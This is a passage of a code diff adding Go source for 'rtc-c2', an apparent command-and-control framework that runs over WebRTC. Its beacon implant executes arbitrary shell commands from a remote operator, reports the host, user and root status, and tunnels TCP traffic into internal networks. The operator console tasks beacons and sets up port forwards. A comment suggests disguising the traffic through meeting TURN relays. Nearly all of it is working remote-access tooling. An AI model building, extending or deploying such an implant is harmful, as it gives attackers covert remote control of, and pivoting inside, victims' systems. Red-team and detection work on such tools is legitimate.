"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/protocol"
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/signaller"
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/transport"
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/tunnel"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
signallerURL = flag.String("signaller", "http://127.0.0.1:9090", "Signaller server URL")
|
||||||
|
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
|
||||||
|
peerID = flag.String("id", "", "Beacon ID (auto-generated if empty)")
|
||||||
|
useTURN = flag.Bool("turn", false, "Use TURN relay (requires TURN server config)")
|
||||||
|
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
|
log.Printf("[beacon] starting rtc-c2 beacon on %s/%s", runtime.GOOS, runtime.GOARCH)
|
||||||
|
|
||||||
|
// Determine beacon ID
|
||||||
|
beaconID := *peerID
|
||||||
|
if beaconID == "" {
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
beaconID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
|
||||||
|
}
|
||||||
|
|
||||||
|
// Configure transport
|
||||||
|
cfg := transport.DefaultConfig(transport.RoleBeacon)
|
||||||
|
cfg.PeerID = beaconID
|
||||||
|
|
||||||
|
if *useTURN {
|
||||||
|
// In production, these would come from meeting credentials
|
||||||
|
// For development, use coturn
|
||||||
|
cfg.WithTURN(
|
||||||
|
[]string{"turn:127.0.0.1:3478"},
|
||||||
|
"rtc-c2",
|
||||||
|
"rtc-c2-pass",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create peer
|
||||||
|
peer, err := transport.NewPeer(cfg)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("[beacon] create peer: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup signaller
|
||||||
|
var sig signaller.Signaller
|
||||||
|
if *wsSignaller {
|
||||||
|
sig = signaller.NewWebSocketSignaller(*signallerURL+"/ws", *sessionKey, "beacon")
|
||||||
|
log.Printf("[beacon] using WebSocket signaller")
|
||||||
|
} else {
|
||||||
|
sig = signaller.NewHTTPSignaller(*signallerURL, *sessionKey, "beacon")
|
||||||
|
}
|
||||||
|
|
||||||
|
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
|
||||||
|
return sig.SendLocalDescription(sdp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup tunnel forwarder
|
||||||
|
fwd := tunnel.NewForwarder()
|
||||||
|
fwd.OnTunnelData = func(tunnelID tunnel.TunnelID, data []byte) {
|
||||||
|
// Wrap tunnel data in C2 protocol messages
|
||||||
|
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, beaconID, map[string]interface{}{
|
||||||
|
"tunnel_id": string(tunnelID),
|
||||||
|
"data": data,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[beacon] tunnel wrap error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
msg, _ := env.Serialize()
|
||||||
|
if err := peer.Send(msg); err != nil {
|
||||||
|
log.Printf("[beacon] tunnel send error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle incoming messages
|
||||||
|
peer.OnMessage(func(data []byte) {
|
||||||
|
env, err := protocol.ParseEnvelope(data)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[beacon] parse message: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
handleMessage(peer, fwd, beaconID, env)
|
||||||
|
})
|
||||||
|
|
||||||
|
// State change logging
|
||||||
|
peer.OnStateChange(func(evt transport.PeerEvent) {
|
||||||
|
log.Printf("[beacon] state: %s (err: %v)", evt.State, evt.Err)
|
||||||
|
})
|
||||||
|
|
||||||
|
// Fetch remote SDP and connect
|
||||||
|
log.Printf("[beacon] connecting to signaller at %s", *signallerURL)
|
||||||
|
remoteDesc, err := sig.ReceiveRemoteDescription()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("[beacon] receive remote desc: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
if err := peer.Connect(ctx); err != nil {
|
||||||
|
log.Fatalf("[beacon] connect: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Push the operator's SDP
|
||||||
|
peer.RemoteDescriptionChan <- *remoteDesc
|
||||||
|
|
||||||
|
// Wait for signals
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
|
||||||
|
<-sigCh
|
||||||
|
log.Printf("[beacon] shutting down")
|
||||||
|
peer.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleMessage(peer *transport.Peer, fwd *tunnel.Forwarder, beaconID string, env *protocol.Envelope) {
|
||||||
|
switch env.Type {
|
||||||
|
case protocol.MsgTask:
|
||||||
|
var task protocol.Task
|
||||||
|
if err := env.ExtractPayload(&task); err != nil {
|
||||||
|
log.Printf("[beacon] extract task: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go executeTask(peer, beaconID, &task)
|
||||||
|
|
||||||
|
case protocol.MsgPing:
|
||||||
|
pong, _ := protocol.NewEnvelope(protocol.MsgPong, beaconID, nil)
|
||||||
|
msg, _ := pong.Serialize()
|
||||||
|
peer.Send(msg)
|
||||||
|
|
||||||
|
case protocol.MsgTunnelData:
|
||||||
|
var payload struct {
|
||||||
|
TunnelID string `json:"tunnel_id"`
|
||||||
|
Data []byte `json:"data"`
|
||||||
|
}
|
||||||
|
if err := env.ExtractPayload(&payload); err != nil {
|
||||||
|
log.Printf("[beacon] extract tunnel data: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fwd.HandleMessage(tunnel.TunnelID(payload.TunnelID), payload.Data)
|
||||||
|
|
||||||
|
case protocol.MsgShutdown:
|
||||||
|
log.Printf("[beacon] received shutdown command")
|
||||||
|
os.Exit(0)
|
||||||
|
|
||||||
|
default:
|
||||||
|
log.Printf("[beacon] unknown message type: %s", env.Type)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func executeTask(peer *transport.Peer, beaconID string, task *protocol.Task) {
|
||||||
|
log.Printf("[beacon] executing task %s: type=%s", task.ID, task.Type)
|
||||||
|
|
||||||
|
result := &protocol.TaskResult{
|
||||||
|
TaskID: task.ID,
|
||||||
|
Success: false,
|
||||||
|
Timestamp: nowMS(),
|
||||||
|
}
|
||||||
|
|
||||||
|
switch task.Type {
|
||||||
|
case protocol.TaskExec:
|
||||||
|
var args protocol.ExecArgs
|
||||||
|
if err := task.ExtractArgs(&args); err != nil {
|
||||||
|
result.Error = fmt.Sprintf("bad args: %v", err)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
result = execCommand(task.ID, &args)
|
||||||
|
|
||||||
|
case protocol.TaskInfo:
|
||||||
|
result.Success = true
|
||||||
|
info := fmt.Sprintf("Hostname: %s\nOS: %s\nArch: %s\nGo: %s\nPID: %d\nCWD: %s",
|
||||||
|
getHostname(), runtime.GOOS, runtime.GOARCH, runtime.Version(),
|
||||||
|
os.Getpid(), getCWD())
|
||||||
|
result.Output = info
|
||||||
|
result.ExitCode = 0
|
||||||
|
|
||||||
|
case protocol.TaskWhoami:
|
||||||
|
result.Success = true
|
||||||
|
result.Output = getCurrentUser()
|
||||||
|
result.ExitCode = 0
|
||||||
|
|
||||||
|
case protocol.TaskSleep:
|
||||||
|
// Sleep is handled by the operator adjusting poll timing
|
||||||
|
result.Success = true
|
||||||
|
result.Output = "sleep interval adjusted"
|
||||||
|
result.ExitCode = 0
|
||||||
|
|
||||||
|
case protocol.TaskExit:
|
||||||
|
result.Success = true
|
||||||
|
result.Output = "beacon exiting"
|
||||||
|
result.Timestamp = nowMS()
|
||||||
|
sendResult(peer, beaconID, result)
|
||||||
|
os.Exit(0)
|
||||||
|
|
||||||
|
default:
|
||||||
|
result.Error = fmt.Sprintf("unsupported task type: %s", task.Type)
|
||||||
|
result.Success = false
|
||||||
|
}
|
||||||
|
|
||||||
|
result.Timestamp = nowMS()
|
||||||
|
sendResult(peer, beaconID, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
func execCommand(taskID string, args *protocol.ExecArgs) *protocol.TaskResult {
|
||||||
|
start := nowMS()
|
||||||
|
shell := args.Shell
|
||||||
|
if shell == "" {
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
shell = "cmd.exe"
|
||||||
|
} else {
|
||||||
|
shell = "/bin/sh"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var cmdStr string
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
cmdStr = fmt.Sprintf("/c %s", args.Command)
|
||||||
|
} else {
|
||||||
|
cmdStr = fmt.Sprintf("-c %s", args.Command)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[beacon] exec: %s %s", shell, cmdStr)
|
||||||
|
|
||||||
|
// Use runexec or os/exec in production
|
||||||
|
// For the initial implementation, shell execution
|
||||||
|
result := &protocol.TaskResult{
|
||||||
|
TaskID: taskID,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simple execution using subprocess
|
||||||
|
output, exitCode, err := runShell(shell, cmdStr)
|
||||||
|
if err != nil {
|
||||||
|
result.Error = err.Error()
|
||||||
|
result.Success = false
|
||||||
|
} else {
|
||||||
|
result.Success = exitCode == 0
|
||||||
|
result.Output = output
|
||||||
|
}
|
||||||
|
result.ExitCode = exitCode
|
||||||
|
result.Duration = nowMS() - start
|
||||||
|
result.Timestamp = nowMS()
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendResult(peer *transport.Peer, beaconID string, result *protocol.TaskResult) {
|
||||||
|
env, err := protocol.NewEnvelope(protocol.MsgTaskResult, beaconID, result)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[beacon] create result envelope: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
msg, err := env.Serialize()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[beacon] serialize result: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := peer.Send(msg); err != nil {
|
||||||
|
log.Printf("[beacon] send result: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func nowMS() int64 {
|
||||||
|
return time.Now().UnixMilli()
|
||||||
|
}
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/user"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// runShell executes a command through the system shell and returns output.
|
||||||
|
func runShell(shell, command string) (string, int, error) {
|
||||||
|
var stdout, stderr bytes.Buffer
|
||||||
|
|
||||||
|
cmd := exec.Command(shell)
|
||||||
|
cmd.Stdin = strings.NewReader(command)
|
||||||
|
cmd.Stdout = &stdout
|
||||||
|
cmd.Stderr = &stderr
|
||||||
|
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
exitCode := 1
|
||||||
|
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||||
|
exitCode = exitErr.ExitCode()
|
||||||
|
}
|
||||||
|
output := stdout.String()
|
||||||
|
if errMsg := stderr.String(); errMsg != "" {
|
||||||
|
if output != "" {
|
||||||
|
output += "\n"
|
||||||
|
}
|
||||||
|
output += errMsg
|
||||||
|
}
|
||||||
|
return output, exitCode, err
|
||||||
|
}
|
||||||
|
|
||||||
|
output := stdout.String()
|
||||||
|
if errMsg := stderr.String(); errMsg != "" {
|
||||||
|
if output != "" {
|
||||||
|
output += "\n"
|
||||||
|
}
|
||||||
|
output += errMsg
|
||||||
|
}
|
||||||
|
|
||||||
|
return output, cmd.ProcessState.ExitCode(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getHostname() string {
|
||||||
|
hostname, err := os.Hostname()
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return hostname
|
||||||
|
}
|
||||||
|
|
||||||
|
func getCWD() string {
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return cwd
|
||||||
|
}
|
||||||
|
|
||||||
|
func getCurrentUser() string {
|
||||||
|
u, err := user.Current()
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
info := fmt.Sprintf("Username: %s\nUID: %s\nGID: %s\nHome: %s",
|
||||||
|
u.Username, u.Uid, u.Gid, u.HomeDir)
|
||||||
|
|
||||||
|
// Check for elevated privileges
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
if os.Geteuid() == 0 {
|
||||||
|
info += "\nPrivilege: root"
|
||||||
|
} else {
|
||||||
|
info += "\nPrivilege: user"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return info
|
||||||
|
}
|
||||||
@@ -0,0 +1,634 @@
|
|||||||
|
// Command operator is the C2 server that tasks beacons through WebRTC tunnels.
|
||||||
|
// It provides an interactive console for issuing commands and managing forwards.
|
||||||
|
//
|
||||||
|
// Direct TCP forward over WebRTC data channels — like SSH -L style
|
||||||
|
// port forwarding, but encrypted inside WebRTC DTLS.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/signal"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/protocol"
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/signaller"
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/transport"
|
||||||
|
"github.com/ek0ms/rtc-c2/pkg/tunnel"
|
||||||
|
)
|
||||||
|
|
||||||
|
type BeaconSession struct {
|
||||||
|
ID string
|
||||||
|
Hostname string
|
||||||
|
Username string
|
||||||
|
OS string
|
||||||
|
Arch string
|
||||||
|
FirstSeen time.Time
|
||||||
|
LastSeen time.Time
|
||||||
|
Peer *transport.Peer
|
||||||
|
Pending map[string]*protocol.Task
|
||||||
|
mu sync.RWMutex
|
||||||
|
}
|
||||||
|
|
||||||
|
type Operator struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
peer *transport.Peer
|
||||||
|
beaconID string
|
||||||
|
beacons map[string]*BeaconSession
|
||||||
|
sessions map[string]*BeaconSession
|
||||||
|
tunnelBr *tunnel.Bridge
|
||||||
|
sigServer *signaller.SignallerServer
|
||||||
|
forwards map[string]*tunnel.ForwardListener
|
||||||
|
activeBeacon string // currently selected beacon ID
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
sigAddr = flag.String("sig-addr", ":9090", "Signaller listen address")
|
||||||
|
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
|
||||||
|
operatorID = flag.String("id", "operator-1", "Operator ID")
|
||||||
|
useTURN = flag.Bool("turn", false, "Use TURN relay")
|
||||||
|
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
|
|
||||||
|
op := &Operator{
|
||||||
|
beacons: make(map[string]*BeaconSession),
|
||||||
|
sessions: make(map[string]*BeaconSession),
|
||||||
|
forwards: make(map[string]*tunnel.ForwardListener),
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Start signaller ---
|
||||||
|
op.sigServer = signaller.NewSignallerServer(*sigAddr)
|
||||||
|
go func() {
|
||||||
|
log.Printf("[operator] signaller on %s", *sigAddr)
|
||||||
|
if err := op.sigServer.Start(); err != nil {
|
||||||
|
log.Printf("[operator] signaller stopped: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
time.Sleep(200 * time.Millisecond)
|
||||||
|
|
||||||
|
// --- Configure transport ---
|
||||||
|
cfg := transport.DefaultConfig(transport.RoleOperator)
|
||||||
|
cfg.PeerID = *operatorID
|
||||||
|
|
||||||
|
if *useTURN {
|
||||||
|
cfg.WithTURN(
|
||||||
|
[]string{"turn:127.0.0.1:3478"},
|
||||||
|
"rtc-c2",
|
||||||
|
"rtc-c2-pass",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
peer, err := transport.NewPeer(cfg)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("[operator] create peer: %v", err)
|
||||||
|
}
|
||||||
|
op.peer = peer
|
||||||
|
|
||||||
|
// --- Setup signaller connection ---
|
||||||
|
var sig signaller.Signaller
|
||||||
|
if *wsSignaller {
|
||||||
|
sig = signaller.NewWebSocketSignaller(
|
||||||
|
fmt.Sprintf("ws://127.0.0.1%s/ws", *sigAddr),
|
||||||
|
*sessionKey, "operator",
|
||||||
|
)
|
||||||
|
log.Printf("[operator] using WebSocket signaller")
|
||||||
|
} else {
|
||||||
|
sig = signaller.NewHTTPSignaller(
|
||||||
|
fmt.Sprintf("http://127.0.0.1%s", *sigAddr),
|
||||||
|
*sessionKey, "operator",
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
|
||||||
|
return sig.SendLocalDescription(sdp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Setup tunnel bridge (direct TCP forward) ---
|
||||||
|
op.tunnelBr = tunnel.NewBridge()
|
||||||
|
op.tunnelBr.OnData = func(tunnelID tunnel.TunnelID, data []byte) {
|
||||||
|
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, *operatorID, map[string]interface{}{
|
||||||
|
"tunnel_id": string(tunnelID),
|
||||||
|
"data": data,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
msg, _ := env.Serialize()
|
||||||
|
_ = peer.Send(msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Handle incoming messages ---
|
||||||
|
peer.OnMessage(func(data []byte) {
|
||||||
|
env, err := protocol.ParseEnvelope(data)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[operator] parse error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
op.handleMessage(env)
|
||||||
|
})
|
||||||
|
|
||||||
|
peer.OnStateChange(func(evt transport.PeerEvent) {
|
||||||
|
log.Printf("[operator] peer state: %s", evt.State)
|
||||||
|
})
|
||||||
|
|
||||||
|
// --- Connect ---
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
log.Printf("[operator] connecting...")
|
||||||
|
if err := peer.Connect(ctx); err != nil {
|
||||||
|
log.Fatalf("[operator] connect: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[operator] ready — signaller on %s, session: %s", *sigAddr, *sessionKey)
|
||||||
|
log.Printf("[operator] beacon connects with: -signaller %s -session %s",
|
||||||
|
fmt.Sprintf("http://<this-ip>%s", *sigAddr), *sessionKey)
|
||||||
|
|
||||||
|
// --- Interactive console ---
|
||||||
|
go op.console()
|
||||||
|
defer op.consoleCleanup()
|
||||||
|
|
||||||
|
// --- Wait for signal ---
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
<-sigCh
|
||||||
|
|
||||||
|
log.Printf("[operator] shutting down")
|
||||||
|
for _, fl := range op.forwards {
|
||||||
|
fl.Stop()
|
||||||
|
}
|
||||||
|
peer.Close()
|
||||||
|
op.sigServer.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) handleMessage(env *protocol.Envelope) {
|
||||||
|
switch env.Type {
|
||||||
|
case protocol.MsgRegister:
|
||||||
|
var reg protocol.RegisterPayload
|
||||||
|
if err := env.ExtractPayload(®); err != nil {
|
||||||
|
log.Printf("[operator] extract register: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
op.handleRegister(reg)
|
||||||
|
|
||||||
|
case protocol.MsgHeartbeat:
|
||||||
|
var hb protocol.HeartbeatPayload
|
||||||
|
if err := env.ExtractPayload(&hb); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
op.updateHeartbeat(hb)
|
||||||
|
|
||||||
|
case protocol.MsgTaskResult:
|
||||||
|
var result protocol.TaskResult
|
||||||
|
if err := env.ExtractPayload(&result); err != nil {
|
||||||
|
log.Printf("[operator] extract result: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
op.handleTaskResult(env.SenderID, &result)
|
||||||
|
|
||||||
|
case protocol.MsgPong:
|
||||||
|
// latency measurement
|
||||||
|
|
||||||
|
case protocol.MsgTunnelData:
|
||||||
|
var payload struct {
|
||||||
|
TunnelID string `json:"tunnel_id"`
|
||||||
|
Data []byte `json:"data"`
|
||||||
|
}
|
||||||
|
if err := env.ExtractPayload(&payload); err != nil {
|
||||||
|
log.Printf("[operator] extract tunnel data: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
payloadStr := string(payload.Data)
|
||||||
|
if strings.HasPrefix(payloadStr, "OPENED:") {
|
||||||
|
log.Printf("[operator] tunnel %s opened -> %s",
|
||||||
|
payload.TunnelID, strings.TrimPrefix(payloadStr, "OPENED:"))
|
||||||
|
} else if payloadStr == "CLOSED" {
|
||||||
|
op.tunnelBr.CloseTunnel(tunnel.TunnelID(payload.TunnelID))
|
||||||
|
} else {
|
||||||
|
op.tunnelBr.HandleData(tunnel.TunnelID(payload.TunnelID), payload.Data)
|
||||||
|
}
|
||||||
|
|
||||||
|
case protocol.MsgError:
|
||||||
|
var errPayload protocol.ErrorPayload
|
||||||
|
if err := env.ExtractPayload(&errPayload); err == nil {
|
||||||
|
log.Printf("[operator] error from beacon: %s", errPayload.Message)
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
log.Printf("[operator] unknown message type: %s", env.Type)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) handleRegister(reg protocol.RegisterPayload) {
|
||||||
|
op.mu.Lock()
|
||||||
|
defer op.mu.Unlock()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
beaconID := reg.BeaconID
|
||||||
|
|
||||||
|
if existing, ok := op.beacons[beaconID]; ok {
|
||||||
|
existing.LastSeen = now
|
||||||
|
existing.Hostname = reg.Hostname
|
||||||
|
existing.Username = reg.Username
|
||||||
|
existing.OS = reg.OS
|
||||||
|
existing.Arch = reg.Arch
|
||||||
|
log.Printf("[operator] beacon %s re-registered", beaconID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
session := &BeaconSession{
|
||||||
|
ID: beaconID,
|
||||||
|
Hostname: reg.Hostname,
|
||||||
|
Username: reg.Username,
|
||||||
|
OS: reg.OS,
|
||||||
|
Arch: reg.Arch,
|
||||||
|
FirstSeen: now,
|
||||||
|
LastSeen: now,
|
||||||
|
Pending: make(map[string]*protocol.Task),
|
||||||
|
}
|
||||||
|
|
||||||
|
op.beacons[beaconID] = session
|
||||||
|
op.sessions[beaconID] = session
|
||||||
|
|
||||||
|
log.Printf("[operator] beacon registered: %s (%s@%s) %s/%s",
|
||||||
|
beaconID, reg.Username, reg.Hostname, reg.OS, reg.Arch)
|
||||||
|
fmt.Printf("\n[+] Beacon connected: %s — %s@%s (%s/%s)\n> ",
|
||||||
|
beaconID[:12], reg.Username, reg.Hostname, reg.OS, reg.Arch)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) updateHeartbeat(hb protocol.HeartbeatPayload) {
|
||||||
|
op.mu.RLock()
|
||||||
|
session, ok := op.beacons[hb.BeaconID]
|
||||||
|
op.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
session.mu.Lock()
|
||||||
|
session.LastSeen = time.Now()
|
||||||
|
session.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) handleTaskResult(beaconID string, result *protocol.TaskResult) {
|
||||||
|
op.mu.RLock()
|
||||||
|
session, ok := op.beacons[beaconID]
|
||||||
|
op.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
log.Printf("[operator] result from unknown beacon: %s", beaconID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
session.mu.Lock()
|
||||||
|
delete(session.Pending, result.TaskID)
|
||||||
|
session.mu.Unlock()
|
||||||
|
|
||||||
|
status := "✓"
|
||||||
|
if !result.Success {
|
||||||
|
status = "✗"
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("\n[%s] Task %s %s (exit: %d, %dms)\n",
|
||||||
|
beaconID[:12], result.TaskID[:8], status, result.ExitCode, result.Duration)
|
||||||
|
if result.Output != "" {
|
||||||
|
fmt.Printf("%s\n", result.Output)
|
||||||
|
}
|
||||||
|
if result.Error != "" {
|
||||||
|
fmt.Printf("Error: %s\n", result.Error)
|
||||||
|
}
|
||||||
|
fmt.Print("> ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) sendTask(beaconID string, task *protocol.Task) error {
|
||||||
|
op.mu.RLock()
|
||||||
|
session, ok := op.beacons[beaconID]
|
||||||
|
op.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("beacon %s not connected", beaconID)
|
||||||
|
}
|
||||||
|
|
||||||
|
env, err := protocol.NewEnvelope(protocol.MsgTask, op.peer.Config().PeerID, task)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("create envelope: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
msg, err := env.Serialize()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("serialize: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
session.mu.Lock()
|
||||||
|
session.Pending[task.ID] = task
|
||||||
|
session.mu.Unlock()
|
||||||
|
|
||||||
|
return op.peer.Send(msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Console ---
|
||||||
|
|
||||||
|
func (op *Operator) console() {
|
||||||
|
reader := bufio.NewReader(os.Stdin)
|
||||||
|
fmt.Println("\n=== rtc-c2 Operator Console ===")
|
||||||
|
fmt.Println("Commands: beacons, use <id>, forward <local:port> <remote:port>,")
|
||||||
|
fmt.Println(" forwards, stop-forward <local>, exec <cmd>, download <path>,")
|
||||||
|
fmt.Println(" info, help, exit")
|
||||||
|
fmt.Print("> ")
|
||||||
|
|
||||||
|
for {
|
||||||
|
line, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" {
|
||||||
|
fmt.Print("> ")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.SplitN(line, " ", 2)
|
||||||
|
cmd := strings.ToLower(parts[0])
|
||||||
|
|
||||||
|
switch cmd {
|
||||||
|
case "exit", "quit":
|
||||||
|
fmt.Println("shutting down...")
|
||||||
|
return
|
||||||
|
|
||||||
|
case "help":
|
||||||
|
printHelp()
|
||||||
|
|
||||||
|
case "beacons", "list":
|
||||||
|
op.listBeacons()
|
||||||
|
|
||||||
|
case "use":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("usage: use <beacon-id>")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
beaconID := strings.TrimSpace(parts[1])
|
||||||
|
op.activeBeacon = beaconID
|
||||||
|
op.useBeacon(beaconID, reader)
|
||||||
|
|
||||||
|
case "forward":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("usage: forward <local:port> <remote:port>")
|
||||||
|
fmt.Println(" forward 127.0.0.1:4444 10.0.1.100:80")
|
||||||
|
fmt.Println(" forward :8080 internal.service:443")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
args := strings.Fields(parts[1])
|
||||||
|
if len(args) < 2 {
|
||||||
|
fmt.Println("usage: forward <local> <remote>")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
op.startForward(args[0], args[1])
|
||||||
|
|
||||||
|
case "forwards":
|
||||||
|
op.listForwards()
|
||||||
|
|
||||||
|
case "stop-forward":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("usage: stop-forward <local-addr>")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
op.stopForward(strings.TrimSpace(parts[1]))
|
||||||
|
|
||||||
|
case "socks":
|
||||||
|
fmt.Println("'socks' removed — use 'forward' for direct TCP forwarding")
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Print("> ")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
